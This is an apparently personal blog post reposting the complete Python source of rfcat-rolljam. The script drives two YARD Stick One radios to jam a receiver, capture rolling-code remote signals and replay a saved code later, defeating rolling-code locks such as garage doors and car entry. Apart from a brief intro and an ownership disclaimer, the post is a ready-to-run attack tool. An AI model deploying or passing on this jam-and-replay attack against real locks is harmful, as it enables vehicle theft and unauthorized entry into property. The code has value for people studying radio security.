Saturday, May 12, 2018

welcome back war! another day in paradise! Computing starting today!"#rfcat-rolljam is a python script to "jam", capture, and replay rolling code signals using two yard stick one devices and rfcat. #The name rfcat-rolljam is inspired by Samy Kamkar's RollJam which is a device that defeats rolling code security. #This is done by jamming the receiver, capturing two or more remote presses, then stopping the jammer and replaying the first remote press #saving the next capture in the rolling code series to replay later The author(s) of this code take no responsibility for your use or misuse of the script. If you choose #to actually use the code you should do so in a controlled environment and only on equipment that you own. Please follow all local, state, federal, #and international, and religious laws.

rfcat-rolljam/rfcat-rolljam.py
https://github.com/exploitagency/rfcat-rolljam/blob/master/rfcat-rolljam.py

#!/usr/bin/env python
import sys
from rflib import *
from struct import *
import bitstring
import operator
import argparse
import time
import pickle
parser = argparse.ArgumentParser(description='Python port of Samy Kamkar\'s Rolljam. Code by Andrew Macpherson, Ghostlulz(Alex), and Corey Harding.',version="1.0")
parser.add_argument('-f', action="store", default="315060000", dest="baseFreq",help='Target frequency to listen for remote (default: 315060000)',type=int)
parser.add_argument('-r', action="store", dest="baudRate",default=1818,help='Baudrate (default: 1818)',type=int)
parser.add_argument('-n', action="store", dest="numSignals",default=2,help='Number of signals to capture before replaying (default: 2)',type=int)
parser.add_argument('-i', action="store", default="24000", dest="chanWidth",help='Width of each channel (lowest being 24000 -- default)',type=int)
parser.add_argument('-c', action="store", default="60000", dest="chanBW",help='Channel BW for RX (default: 60000)',type=int)
parser.add_argument('-I', action="store", default="", dest="inFile",help='File to read in')
parser.add_argument('-O', action="store", default="", dest="outFile",help='Output file to save captures to')
parser.add_argument('-o', action="store", default="-70000", dest="offset",help='Frequency offset of jammer (default: -70000)')
parser.add_argument('-p', action="store", default="200", dest="power",help='Power level for re-transmitting (default: 200)',type=int)
parser.add_argument('-m', action="store", default="-40", dest="minRSSI",help='Minimum RSSI db to accept signal (default: -40)',type=int)
parser.add_argument('-M', action="store", default="40", dest="maxRSSI",help='Maximum RSSI db to accept signal (default: 40)',type=int)
parser.add_argument('-k', action="store_true", dest="waitForKeypress", default=False,help='Wait for keypress before resending first capture (default: False)')
results = parser.parse_args()
rawCapture = [];
print "Configuring Scanner on Frequency: " + str(results.baseFreq)
d = RfCat(idx=0)
d.setMdmModulation(MOD_ASK_OOK)
d.setFreq(results.baseFreq)
d.setMdmSyncMode(0)
d.setMdmDRate(results.baudRate)
d.setMdmChanBW(results.chanBW)
d.setMdmChanSpc(results.chanWidth)
d.setChannel(0)
d.setPower(results.power)
d.lowball(1)
print "Configuring Jammer on Frequency: " + str(int(results.baseFreq)+int(results.offset))
c = RfCat(idx=1)
c.setMdmModulation(MOD_ASK_OOK) #on of key
c.setFreq(int(results.baseFreq)+int(results.offset)) # frequency
c.setMdmDRate(results.baudRate)# how long each bit is transmited for
c.setMdmChanBW(results.chanBW)# how wide channel is
c.setMdmChanSpc(results.chanWidth)
c.setChannel(0)
c.setMaxPower() # max power
c.lowball(1) # need inorder to read data
time.sleep(1) #warm up
if(results.inFile != ''):
rawCapture = pickle.load(open(results.inFile,"rb"))
if(len(rawCapture) == 0):
print "No captures found"
sys.exit()
else:
print "Loaded " + str(len(rawCapture)) + " captures"
print "Send Phase..."
c.setModeIDLE()
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)
while True:
try:
for i in range(0,len(rawCapture)):
key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
d.makePktFLEN(len(key_packed))
raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
d.RFxmit(key_packed)
print "Sent " + str(i+1) + " of " + str(len(rawCapture))
except KeyboardInterrupt:
print "Bye!"
d.setModeIDLE()
sys.exit()
break;
print "exiting."
d.setModeIDLE()
sys.exit()
print "Jamming...."
c.setModeTX() # start transmitting
print "Scanning..."
while True:
try:
y, t = d.RFrecv(1)
sampleString=y.encode('hex')
#print sampleString
strength= 0 - ord(str(d.getRSSI()))
#sampleString = re.sub(r'((f)\2{8,})', '',sampleString)
if (re.search(r'((0)\2{15,})', sampleString)):
print "Signal Strength:" + str(strength)
if(strength > results.minRSSI and strength < results.maxRSSI):
rawCapture.append(sampleString)
print "Found " + str(sampleString)
if(len(rawCapture) >= results.numSignals):
break;
except ChipconUsbTimeoutException:
pass
except KeyboardInterrupt:
break
print "Saving phase"
outputCapture = rawCapture
if(results.outFile != ''):
pickle.dump(outputCapture, open(results.outFile,"wb"))
print "Send Phase..."
#print rawCapture
emptykey = '\x00\x00\x00\x00\x00\x00\x00'
d.makePktFLEN(len(emptykey))
d.RFxmit(emptykey)
print 'Done jamming'
if(results.waitForKeypress == True):
time.sleep(.5) # Assumes someone using waitForKeypress mode is testing thus they will be pressing button on remote
# and waiting for the "Done jamming" message, this delay allows their brain to stop pressing the button
# don't want to accidentally hop to next code
c.setModeIDLE() # put dongle in idle mode to stop jamming
if(results.waitForKeypress == True):
raw_input(" Press enter to send first capture")
print 'Replaying'
key_packed = bitstring.BitArray(hex=rawCapture[0]).tobytes()
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture 1"
while True:
try:
for i in range(1,len(rawCapture)):
key_packed = bitstring.BitArray(hex=rawCapture[i]).tobytes()
raw_input(" Press enter to send capture " + str(i+1) + " of " + str(len(rawCapture)))
d.makePktFLEN(len(key_packed))
d.RFxmit(key_packed)
print "Sent capture " + str(i+1) + " of " + str(len(rawCapture))
except KeyboardInterrupt:
print "Bye!"
d.setModeIDLE()
c.setModeIDLE() # put dongle in idle mode to stop jamming
sys.exit()
break;
print "exiting."
d.setModeIDLE()
c.setModeIDLE()

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